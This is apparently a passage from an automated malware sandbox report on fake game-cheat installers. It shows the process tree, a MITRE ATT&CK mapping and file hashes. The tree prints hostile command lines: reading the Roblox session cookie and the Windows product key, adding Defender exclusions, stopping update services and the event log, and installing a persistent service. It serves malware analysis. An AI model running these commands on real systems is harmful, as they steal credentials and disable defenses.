gACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5296
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zpu44bzp\zpu44bzp.cmdline"
        7⤵
        
        PID:5840
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC0A.tmp" "c:\Users\Admin\AppData\Local\Temp\zpu44bzp\CSCC3E0965B4981448E9E51B6BB3AEED3.TMP"
        8⤵
        
        PID:5908
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5428
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:6012
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:2744
      - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5848
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:3172
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:6008
      - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4024
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:3908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1716
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:3836
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:3024
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:4876
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5676
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:3428
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:3684
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:908
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:1588
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1120
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        5⤵
        
        PID:5800
      - C:\Windows\system32\getmac.exe
        
        getmac
        6⤵
        
        PID:1340
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI8082\rar.exe a -r -hp"1337" "C:\Users\Admin\AppData\Local\Temp\qAVaC.zip" *"
        5⤵
        
        PID:5648
      - C:\Users\Admin\AppData\Local\Temp\_MEI8082\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI8082\rar.exe a -r -hp"1337" "C:\Users\Admin\AppData\Local\Temp\qAVaC.zip" *
        6⤵
        Executes dropped EXE
        
        PID:2544
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        5⤵
        
        PID:5792
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2288
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        5⤵
        
        PID:4956
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        6⤵
        
        PID:5364
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:3660
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:1972
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        5⤵
        
        PID:3896
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3908
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:5724
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:372
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        5⤵
        
        PID:3656
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2140
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Built.exe""
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3388
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4840
      - C:\Windows\system32\PING.EXE
        
        ping localhost -n 3
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\checker-cheats (1).exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3604
- - C:\Users\Admin\AppData\Local\Temp\checker-cheats (1).exe
    "C:\Users\Admin\AppData\Local\Temp\checker-cheats (1).exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- - C:\Users\Admin\AppData\Local\Temp\system.exe
    "C:\Users\Admin\AppData\Local\Temp\system.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    PID:5140
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3692
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:1552
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:224
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5284
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:4248
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:1836
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:1960
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:4748
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:1256
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:2844
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:2152
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2192
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "VLKIAJCI"
      4⤵
      Launches sc.exe
      PID:5688
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "VLKIAJCI" binpath= "C:\ProgramData\sqqlezmfstqp\ixoqduepyxci.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:6108
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:2528
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "VLKIAJCI"
      4⤵
      Launches sc.exe
      PID:4372
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\ExLoader_Installer.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1260
- - C:\Users\Admin\AppData\Local\Temp\ExLoader_Installer.exe
    C:\Users\Admin\AppData\Local\Temp\ExLoader_Installer.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3984
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\ExLoader_Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\ExLoader_Installer.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetWindowsHookEx
      PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\Built.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Users\Admin\AppData\Local\Temp\Built.exe
    C:\Users\Admin\AppData\Local\Temp\Built.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5188
  - - C:\Users\Admin\AppData\Local\Temp\Built.exe
      C:\Users\Admin\AppData\Local\Temp\Built.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\checker-cheats (1).exe
  2⤵
  PID:5184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\system.exe
  2⤵
  PID:1156
- - C:\Users\Admin\AppData\Local\Temp\system.exe
    C:\Users\Admin\AppData\Local\Temp\system.exe
    3⤵
    - Executes dropped EXE
    PID:5544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3588

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3788

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3968

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4388

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:5156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:5216

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2492

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5696

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:932

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:5876

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
PID:1184

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4088

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:5804

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2864

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:540

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv Wls2E7phb0KFVPM++06uZw.0.2
1⤵
PID:6008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3616

C:\ProgramData\sqqlezmfstqp\ixoqduepyxci.exe
C:\ProgramData\sqqlezmfstqp\ixoqduepyxci.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:1556
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3492
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:3908
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4076
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5852
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5724
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3252
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3560
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4788
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5840
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2976
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1996
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2152
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2156
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:1908
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5024
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:1668
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4880
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2064
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1356
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3868
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:5860
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Modifies data under HKEY_USERS
  PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
f4d10dbf9ff1d91226db0d9ce144033c

SHA1
1fab5ab3cf8b1b48a146c3b83fad67c44c7bd791

SHA256
9d031d7193142f7120476fe181006807652ca4a8caec8fbab3f4e4f86e451049

SHA512
2b2fed18f7ac2e15f990aaab9fc814f040bd387cbf3634b8d2cf22d24bb8fe8c87e88f640190dce2362edcb33cc3296bb76ed462f847cfac8eaab6456000f1d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Built.exe

Filesize
6.9MB

MD5
6b915cd816ef2570b3c203ff6f4668c4

SHA1
4a96ed7b4e3ee8f553a4e7581bc42df3356856f3

SHA256
12dcc7a7ae7e83049ade18d3699ad8d0fe8b34a5a1f33ad31d825008f2460715

SHA512
06db8f913e06625d8bca3464bd4951d30b0ffd53c60bbbed80216f9e21342cc5fb8d8aaee12e06f6478c976c318eab164f31c7440d8bf0ed40418584544f4a9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ExLoader_Installer.exe

Filesize
26.5MB

MD5
dcd3344e5bdca9492706ed74cbf8b233

SHA1
ed0ad8d0e65d27d34644b75fbd73b7ee8a825bc6

SHA256
75243dbdd7668c07417eb463d1b4f24d8ff4781b6d5aa0522afb2509b920cf9c

SHA512
9d31001b90e2610a74aa66b7d9a383094b3d904ad105b50c55be3aa46ef8be2f2a45a082e990a905b8673e4bcf320b4f078a53fe1435bd96e08df0bc9e09bca4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\ExLoader_Installer.exe

Filesize
184KB

MD5
672d8f840df04da81a68c12354c67602

SHA1
f14a9a358bce7225435a4f9327722edf363139cf

SHA256
cc8522a81ca478837e76ee0975f820c0211242f859769dad4349afc9892dd6b2

SHA512
4ac90decbf88025c7ed0484b030d484b3659541ad4bf2f029d74657bcb4fc4d7f5f66a84ac9bfe8184e21fd412c1ad367c8ebf6a9e19761736bbeaf9722db962

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\api-ms-win-crt-runtime-l1-1-0.dll

Filesize
15KB

MD5
f1a23c251fcbb7041496352ec9bcffbe

SHA1
be4a00642ec82465bc7b3d0cc07d4e8df72094e8

SHA256
d899c2f061952b3b97ab9cdbca2450290b0f005909ddd243ed0f4c511d32c198

SHA512
31f8c5cd3b6e153073e2e2edf0ca8072d0f787784f1611a57219349c1d57d6798a3adbd6942b0f16cef781634dd8691a5ec0b506df21b24cb70aee5523a03fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\d3dcompiler_47.dll

Filesize
4.7MB

MD5
cb9807f6cf55ad799e920b7e0f97df99

SHA1
bb76012ded5acd103adad49436612d073d159b29

SHA256
5653bc7b0e2701561464ef36602ff6171c96bffe96e4c3597359cd7addcba88a

SHA512
f7c65bae4ede13616330ae46a197ebad106920dce6a31fd5a658da29ed1473234ca9e2b39cc9833ff903fb6b52ff19e39e6397fac02f005823ed366ca7a34f62

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\data\app.so

Filesize
13.9MB

MD5
9386561be5064cf480bc89737df498ab

SHA1
fc99e79ec57dc8ef4c682dcf70edd3dfd4e8b089

SHA256
0b285e12ae83e6b2de12350c20d4b13b825b65a24e0855ce7104ebfc8f2c5e71

SHA512
42b17f154b5c71209a35737dc6a2b0451941096e8d931e1a38b192d67bea782fcad3101badc4ee7e80b053dcf9b23cb62bf9084106559183ebc1d852ed31ad7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\data\flutter_assets\AssetManifest.bin

Filesize
14KB

MD5
e6ee07a908803b70dcdf31271bbc05bc

SHA1
4328b159cebeae8594bda27a63617e2cc7626bfb

SHA256
5bc7d9a70129040cb1a99067d26a8a74f1679b345ae7e7fbd6c71d26a97e2688

SHA512
53293ee1c663824b3170b994209ad034024df9d77fb782b13a9c104c8dd89316c2fa18fc3b7e106260b3ef3e4d9a54b8b110aad52f5defd01abf5a370a4855b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\data\flutter_assets\AssetManifest.json

Filesize
13KB

MD5
8dab30c01916d845d7082d8581ba1f7c

SHA1
